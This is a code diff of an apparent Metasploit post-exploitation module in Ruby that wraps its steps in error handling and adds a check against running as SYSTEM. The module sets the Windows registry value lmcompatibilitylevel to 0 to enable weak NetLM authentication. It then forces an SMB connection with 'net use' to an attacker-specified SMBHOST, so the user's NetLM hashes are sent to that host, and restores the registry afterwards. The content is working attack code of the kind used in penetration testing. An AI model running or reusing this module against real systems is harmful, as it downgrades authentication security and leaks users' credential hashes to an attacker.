@@ -20,6 +20,7 @@ class Metasploit3 < Msf::Post
20
20
include Msf ::Post ::Windows ::Registry
21
21
include Msf ::Post ::Windows ::WindowsServices
22
22
include Msf ::Post ::Common
23
+ include Msf ::Post ::Windows ::Priv
23
24
24
25
def initialize ( info = { } )
25
26
super ( update_info ( info ,
@@ -45,35 +46,62 @@ def initialize(info={})
45
46
46
47
# method to make smb connection
47
48
def smb_connect
48
- print_status ( "Establishing SMB connection to " + datastore [ 'SMBHOST' ] )
49
- cmd_exec ( "cmd.exe" , "/c net use * \\ \\ #{ datastore [ 'SMBHOST' ] } \\ ipc$" )
50
- print_status ( "The SMBHOST should now have NetLM hashes" )
49
+ begin
50
+ print_status ( "Establishing SMB connection to " + datastore [ 'SMBHOST' ] )
51
+ cmd_exec ( "cmd.exe" , "/c net use * \\ \\ #{ datastore [ 'SMBHOST' ] } \\ ipc$" )
52
+ print_status ( "The SMBHOST should now have NetLM hashes" )
53
+ rescue ::Exception => e
54
+ print_error ( "Issues establishing SMB connection" )
55
+ end
51
56
end
52
57
53
58
# if netlm is disabled, enable it in the registry
54
59
def run
55
- subkey = "HKLM\\ SYSTEM\\ CurrentControlSet\\ Control\\ Lsa\\ "
56
- v_name = "lmcompatibilitylevel"
57
- netlm = registry_getvaldata ( subkey , v_name )
58
- if netlm == 0
59
- print_status ( "NetLM is already enabled on this system" )
60
-
61
- # call smb_connect method to pass network hashes
62
- smb_connect
60
+ # if running as SYSTEM exit
61
+ if is_system?
62
+ # running as SYSTEM and will not pass any network credentials
63
+ print_error "Running as SYSTEM, should be run as valid USER"
64
+ return
63
65
else
64
- print_status ( "NetLM is Disabled: #{ subkey } #{ v_name } == #{ netlm . to_s } " )
65
- registry_setvaldata ( subkey , v_name , 0 , "REG_DWORD" )
66
+ subkey = "HKLM\\ SYSTEM\\ CurrentControlSet\\ Control\\ Lsa\\ "
67
+ v_name = "lmcompatibilitylevel"
68
+ begin
69
+ netlm = registry_getvaldata ( subkey , v_name )
70
+ rescue ::Exception => e
71
+ print_error ( "Issues enumerating registry values" )
72
+ end
73
+
74
+ if netlm == 0
75
+ print_status ( "NetLM is already enabled on this system" )
66
76
67
- post_netlm = registry_getvaldata ( subkey , v_name )
68
- print_good ( "NetLM is Enabled: #{ subkey } #{ v_name } == #{ post_netlm . to_s } " )
77
+ # call smb_connect method to pass network hashes
78
+ smb_connect
79
+ else
80
+ begin
81
+ print_status ( "NetLM is Disabled: #{ subkey } #{ v_name } == #{ netlm . to_s } " )
82
+ registry_setvaldata ( subkey , v_name , 0 , "REG_DWORD" )
83
+ rescue ::Exception => e
84
+ print_error ( "Issues modifying registry value" )
85
+ end
69
86
70
- # call smb_connect method to pass network hashes
71
- smb_connect
87
+ begin
88
+ post_netlm = registry_getvaldata ( subkey , v_name )
89
+ print_good ( "NetLM is Enabled: #{ subkey } #{ v_name } == #{ post_netlm . to_s } " )
90
+ rescue ::Exception => e
91
+ print_error ( "Issues enumerating registry values" )
92
+ end
72
93
73
- # cleanup the registry
74
- registry_setvaldata ( subkey , v_name , netlm , "REG_DWORD" )
75
- print_status ( "Cleanup Completed: #{ subkey } #{ v_name } == #{ netlm . to_s } " )
94
+ # call smb_connect method to pass network hashes
95
+ smb_connect
96
+
97
+ # cleanup the registry
98
+ begin
99
+ registry_setvaldata ( subkey , v_name , netlm , "REG_DWORD" )
100
+ print_status ( "Cleanup Completed: #{ subkey } #{ v_name } == #{ netlm . to_s } " )
101
+ rescue ::Exception => e
102
+ print_error ( "Issues cleaning up registry changes" )
103
+ end
104
+ end
76
105
end
77
106
end
78
- end
79
-
107
+ end
0 commit comments